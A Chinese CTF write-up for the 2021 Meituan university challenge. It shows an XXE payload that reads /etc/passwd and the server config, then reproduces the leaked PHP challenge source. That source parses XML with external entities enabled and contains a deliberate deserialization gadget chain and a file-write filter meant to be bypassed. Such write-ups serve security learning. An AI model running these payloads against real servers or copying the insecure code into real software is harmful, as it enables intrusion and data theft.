2021美团高校挑战赛

一开始是一个xml外部实体注入,可以读一下文件

<?xml version="1.0" encoding="UTF-8"?> 
<!DOCTYPE any [
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<user><username>&xxe;</username><password>111</password></user>

读到了php-fpm.conf的配置文件

file://%2fetc%2fphp%2f7%2e0%2ffpm%2fphp-fpm%2econf

错误日志地址

/var/log/php7.0-fpm.log
/run/php/php7.0-fpm.pid
mysql:x:105:106:MySQL Server,,,:/nonexistent:/bin/false

读到内网地址

127.0.0.1	localhost
::1 localhost ip6-localhost ip6-loopback
fe00::0 ip6-localnet
fe00::0 ip6-mcastprefix
fe00::1 ip6-allnodes
fe00::2 ip6-allrouters
10.4.104.98 engine-1

读proc/net/arp

10.4.255.253 

读到源码

<?php
session_start();
if (isset($_SESSION['login'])) {
header("Location: index.php");
die();
}
?>

<!doctype html>

<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
<meta name="description" content="">
<title>登录</title>

<!-- Bootstrap core CSS -->
<link href="./static/css/bootstrap.min.css" rel="stylesheet">


<style>
.bd-placeholder-img {
font-size: 1.125rem;
text-anchor: middle;
}

@media (min-width: 768px) {
.bd-placeholder-img-lg {
font-size: 3.5rem;
}
}
</style>
<!-- Custom styles for this template -->
<link href="./static/css/std.css" rel="stylesheet">
</head>

<body class="text-center">
<form class="form-signin" action="login.php" method="POST">
<h1 class="h3 mb-3 font-weight-normal">Sign In</h1>
<label for="username" class="sr-only">Username</label>
<input type="text" id="username" name="username" class="form-control" placeholder="Username" required autofocus>
<br><label for="password" class="sr-only">Password</label>
<input type="password" id="password" name="password" class="form-control" placeholder="Password" required>
<button class="btn btn-lg btn-primary btn-block" type="submit" onclick="javascript:doLogin()" >Sign In</button>
<p class="mt-5 text-muted">Don't have an account yet? <a href="register.php">Sign Up</a></p>
<p class="text-muted">&copy; 2018-2021</p>
</form>
<div class="top" id="toast-container"></div>
</body>

<script src="./static/js/jquery.min.js"></script>
<script src="./static/js/bootstrap.bundle.min.js"></script>
<script src="./static/js/toast.js"></script>
<script type='text/javascript'>
function doLogin(){
var username = $("#username").val();
var password = $("#password").val();
if(username == "" || password == ""){
alert("Please enter the username and password!");
return;
}

var data = "<user><username>" + username + "</username><password>" + password + "</password></user>";
$.ajax({
type: "POST",
url: "login.php",
contentType: "application/xml;charset=utf-8",
data: data,
dataType: "xml",
anysc: false,
success: function (result) {
var code = result.getElementsByTagName("code")[0].childNodes[0].nodeValue;
var msg = result.getElementsByTagName("msg")[0].childNodes[0].nodeValue;
if(code == "0"){
$(".msg").text(msg + " login fail!");
}else if(code == "1"){
$(".msg").text(msg + " login success!");
}else{
$(".msg").text("error:" + msg);
}
},
error: function (XMLHttpRequest,textStatus,errorThrown) {
$(".msg").text(errorThrown + ':' + textStatus);
}
});
}
</script>
</html>


<?php
ini_set("display_errors", "On");
error_reporting(E_ALL | E_STRICT);
include "class.php";

libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');

try{
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
$creds = simplexml_import_dom($dom);

$username = $creds->username;
$password = $creds->password;

$user = new User();

if (strlen($username) < 20 && $user->verify_user($username, $password)) {

$_SESSION['login'] = true;
$_SESSION['address'] = $_SERVER['REMOTE_ADDR'];
$result = sprintf("<result><code>%d</code><msg>%s</msg></result>",1,$username);
header('Content-Type: text/html; charset=utf-8');
echo $result;
die("<script>window.location.href='index.php';</script>");
} else{
$result = sprintf("<result><code>%d</code><msg>%s</msg></result>",0,$username);
header('Content-Type: text/html; charset=utf-8');
die($result);
}

}catch(Exception $e) {
$result = sprintf("<result><code>%d</code><msg>%s</msg></result>",3,$e->getMessage());
header('Content-Type: text/html; charset=utf-8');
echo $result;
}

?>

接下来测试是否出网,发现是可以连接的,

<?php
session_start();
if (isset($_SESSION['login'])) {
header("Location: index.php");
die();
}
?>

<!doctype html>

<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
<meta name="description" content="">
<title>注册</title>

<!-- Bootstrap core CSS -->
<link href="./static/css/bootstrap.min.css" rel="stylesheet">


<style>
.bd-placeholder-img {
font-size: 1.125rem;
text-anchor: middle;
}

@media (min-width: 768px) {
.bd-placeholder-img-lg {
font-size: 3.5rem;
}
}
</style>
<!-- Custom styles for this template -->
<link href="./static/css/std.css" rel="stylesheet">
</head>

<body class="text-center">
<form class="form-signin" action="register.php" method="POST">
<h1 class="h3 mb-3 font-weight-normal">Sign Up</h1>
<label for="username" class="sr-only">Username</label>
<input type="text" id="username" name="username" class="form-control" placeholder="Username" required autofocus>
<br><label for="password" class="sr-only">Password</label>
<input type="password" id="password" name="password" class="form-control" placeholder="Password" required>
<button class="btn btn-lg btn-primary btn-block" type="submit" onclick="javascript:doRegister()" >Sign Up</button>
<p class="mt-5 mb-3 text-muted">&copy; 2018-2021</p>
</form>
</body>
<div class="top" id="toast-container"></div>

<script src="./static/js/jquery.min1.js"></script>
<script src="./static/js/bootstrap.bundle.min.js"></script>
<script src="./static/js/toast.js"></script>

<script type='text/javascript'>
function doRegister(){
var username = $("#username").val();
var password = $("#password").val();
if(username == "" || password == ""){
alert("Please enter the username and password!");
return;
}

var data = "<user><username>" + username + "</username><password>" + password + "</password></user>";
$.ajax({
type: "POST",
url: "register.php",
contentType: "application/xml;charset=utf-8",
data: data,
dataType: "xml",
anysc: false,
success: function (result) {
var code = result.getElementsByTagName("code")[0].childNodes[0].nodeValue;
var msg = result.getElementsByTagName("msg")[0].childNodes[0].nodeValue;
if(code == "0"){
$(".msg").text(msg + " login fail!");
}else if(code == "1"){
$(".msg").text(msg + " login success!");
}else{
$(".msg").text("error:" + msg);
}
},
error: function (XMLHttpRequest,textStatus,errorThrown) {
$(".msg").text(errorThrown + ':' + textStatus);
}
});
}
</script>
</html>

还有一个index.php

<?php
session_start();
if (isset($_SESSION['login'])) {
header("Location: index.php");
die();
}
?>

<!doctype html>

<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
<meta name="description" content="">
<title>注册</title>

<!-- Bootstrap core CSS -->
<link href="./static/css/bootstrap.min.css" rel="stylesheet">


<style>
.bd-placeholder-img {
font-size: 1.125rem;
text-anchor: middle;
}

@media (min-width: 768px) {
.bd-placeholder-img-lg {
font-size: 3.5rem;
}
}
</style>
<!-- Custom styles for this template -->
<link href="./static/css/std.css" rel="stylesheet">
</head>

<body class="text-center">
<form class="form-signin" action="register.php" method="POST">
<h1 class="h3 mb-3 font-weight-normal">Sign Up</h1>
<label for="username" class="sr-only">Username</label>
<input type="text" id="username" name="username" class="form-control" placeholder="Username" required autofocus>
<br><label for="password" class="sr-only">Password</label>
<input type="password" id="password" name="password" class="form-control" placeholder="Password" required>
<button class="btn btn-lg btn-primary btn-block" type="submit" onclick="javascript:doRegister()" >Sign Up</button>
<p class="mt-5 mb-3 text-muted">&copy; 2018-2021</p>
</form>
</body>
<div class="top" id="toast-container"></div>

<script src="./static/js/jquery.min1.js"></script>
<script src="./static/js/bootstrap.bundle.min.js"></script>
<script src="./static/js/toast.js"></script>

<script type='text/javascript'>
function doRegister(){
var username = $("#username").val();
var password = $("#password").val();
if(username == "" || password == ""){
alert("Please enter the username and password!");
return;
}

var data = "<user><username>" + username + "</username><password>" + password + "</password></user>";
$.ajax({
type: "POST",
url: "register.php",
contentType: "application/xml;charset=utf-8",
data: data,
dataType: "xml",
anysc: false,
success: function (result) {
var code = result.getElementsByTagName("code")[0].childNodes[0].nodeValue;
var msg = result.getElementsByTagName("msg")[0].childNodes[0].nodeValue;
if(code == "0"){
$(".msg").text(msg + " login fail!");
}else if(code == "1"){
$(".msg").text(msg + " login success!");
}else{
$(".msg").text("error:" + msg);
}
},
error: function (XMLHttpRequest,textStatus,errorThrown) {
$(".msg").text(errorThrown + ':' + textStatus);
}
});
}
</script>
</html>


<?php
ini_set("display_errors", "On");
error_reporting(E_ALL | E_STRICT);
include "class.php";

libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');

if(!empty($xmlfile)) {
try{
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
$creds = simplexml_import_dom($dom);

$username = $creds->username;
$password = $creds->password;

$user = new User();

if ($user->add_user($username, $password)) {
echo "<script>alert('Registered successfully');window.location.href='login.php';</script>";
} else{
echo "<script>alert('Registration failed');window.location.href='register.php';</script>";
}

}catch(Exception $e) {
$result = sprintf("<result><code>%d</code><msg>%s</msg></result>",4,$e->getMessage());
header('Content-Type: text/html; charset=utf-8');
echo $result;
}
}

?>
<?php

session_start();
if (!isset($_SESSION['login'])) {
header("Location: login.php");
die();
}

?>

<!DOCTYPE html>
<html>
<head>
<title>File Uploader</title>
<link href="./static/css/bootstrap.css" rel='stylesheet' type='text/css' />
<!-- Custom Theme files -->
<link href="./static/css/style.css" rel="stylesheet" type="text/css" media="all" />
<!-- Custom Theme files -->
<script src="./static/js/jquery.min.js"></script>
<!-- Custom Theme files -->
<meta name="viewport" content="width=device-width, initial-scale=1">
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<meta name="keywords" content="File Uploader Widget Responsive web template, Bootstrap Web Templates, Flat Web Templates, Andriod Compatible web template,
Smartphone Compatible web template, free webdesigns for Nokia, Samsung, LG, Sony Ericsson, Motorola web design" />
<script type="application/x-javascript"> addEventListener("load", function() { setTimeout(hideURLbar, 0); }, false); function hideURLbar(){ window.scrollTo(0,1); } </script>

</head>
<body>

<h1>FILE UPLOADER</h1>

<div class="upload">

<div class="login-form">

<form id="upload" method="post" action="upload.php" enctype="multipart/form-data">

<div id="drop">
<a>Upload File</a>
<input type="file" name="file" multiple />
</div>

<ul>
<!-- The file uploads will be shown here -->
</ul>

</form>

</div>

<!-- JavaScript Includes -->
<script src="./static/js/jquery.knob.js"></script>
<!-- JavaScript Includes -->

<!-- jQuery File Upload Dependencies -->
<script src="./static/js/jquery.ui.widget.js"></script>
<script src="./static/js/jquery.iframe-transport.js"></script>
<script src="./static/js/jquery.fileupload.js"></script>
<!-- jQuery File Upload Dependencies -->

<!-- Main JavaScript file -->
<script src="./static/js/script.js"></script>
<!-- Main JavaScript file -->

<div class="button">

<div class="cancel"><a href="#">Cancel</a></div>
<div class="done"><a href="#">Done</a></div>

<div class="clear"> </div>

</div>

</div>

<div class="footer">
<p>Copyright &copy; 2021 File Uploader. All Rights Reserved | Design by <a href="#">File Uploader</a></p>
</div>

</body>
</html>

然后又读到了一个class.php

<?php
error_reporting(0);
$dbaddr = "127.0.0.1";
$dbuser = "root";
$dbpass = "";
$dbname = "ctf";
$db = new mysqli($dbaddr, $dbuser, $dbpass, $dbname);


abstract class Users {

public $db;

abstract public function verify_user($username, $password);
abstract public function check_user_exist($username);
abstract public function add_user($username, $password);
abstract protected function eval();

public function test() {
$this->eval();
}
}


class User extends Users {

public $db;
private $func;
protected $param;

public function __construct() {
global $db;
$this->db = $db;
}

public function verify_user($username, $password) {
if (!$this->check_user_exist($username)) {
return false;
}
$password = md5($password . "7a28b8eb92558ea2");
$stmt = $this->db->prepare("SELECT `password` FROM `users` WHERE `username` = ?;");
$stmt->bind_param("s", $username);
$stmt->execute();
$stmt->bind_result($expect);
$stmt->fetch();
if (isset($expect) && $expect === $password) {
return true;
}
return false;
}

public function check_user_exist($username) {
$stmt = $this->db->prepare("SELECT `username` FROM `users` WHERE `username` = ? LIMIT 1;");
$stmt->bind_param("s", $username);
$stmt->execute();
$stmt->store_result();
$count = $stmt->num_rows;
if ($count === 0) {
return false;
}
return true;
}

public function add_user($username, $password) {
if ($this->check_user_exist($username)) {
return false;
}
$password = md5($password . "7a28b8eb92558ea2");
$stmt = $this->db->prepare("INSERT INTO `users` (`id`, `username`, `password`) VALUES (NULL, ?, ?);");
$stmt->bind_param("ss", $username, $password);
$stmt->execute();
return true;
}

protected function eval() {
if (is_array($this->param)) {
($this->func)($this->param);
} else {
die("no!");
}
}
}


class Welcome{

public $file;
public $username;
public $password;
public $verify;
public $greeting;
public function __toString(){
return $this->verify->verify_user($this->username,$this->password);
}

public function __wakeup(){
$this->greeting = "Welcome ".$this->username.":)";
}
}


class File {
public $filename;
public $fileext;
public $basename;

public function check_file_exist($filename) {
if (file_exists($filename) && !is_dir($filename)) {
return true;
} else {
return false;
}
}

public function get_real_ext($minitype) {

switch ($minitype) {
case 'image/gif':
$this->fileext = ".gif";
return $this->fileext;
case 'image/jpeg':
$this->fileext = ".jpg";
return $this->fileext;
case 'image/png':
$this->fileext = ".png";
return $this->fileext;
default:
$this->fileext = ".gif";
return $this->fileext;
}
}


public function get_file_name($filename) {
$pos = strrpos($filename, ".");
if ($pos !== false) {
$this->basename = substr($filename, 0, $pos);
return $this->basename;
}
}

public function __call($func, $params) {
foreach($params as $param){
if($this->check_file_exist($param)) {
$this->filename->test();
}
}
}

public function get_file_size($filename) {
$size = filesize($filename);
$units = array(' B', ' KB', ' MB', ' GB', ' TB');
for ($i = 0; $size >= 1024 && $i < 4; $i++) $size /= 1024;
return round($size, 2).$units[$i];
}
}


class Logs {

public $log;

public function log() {

$log = $_GET['log'];
if(preg_match("/rot13|base|toupper|encode|decode|convert|bzip2/i", $log)) {
die("hack!");
}
file_put_contents($log,'<?php exit();'.$log);
}
}

?>
Author

vague huang

Posted on

2021-12-11

Updated on

2021-12-11

Licensed under

Comments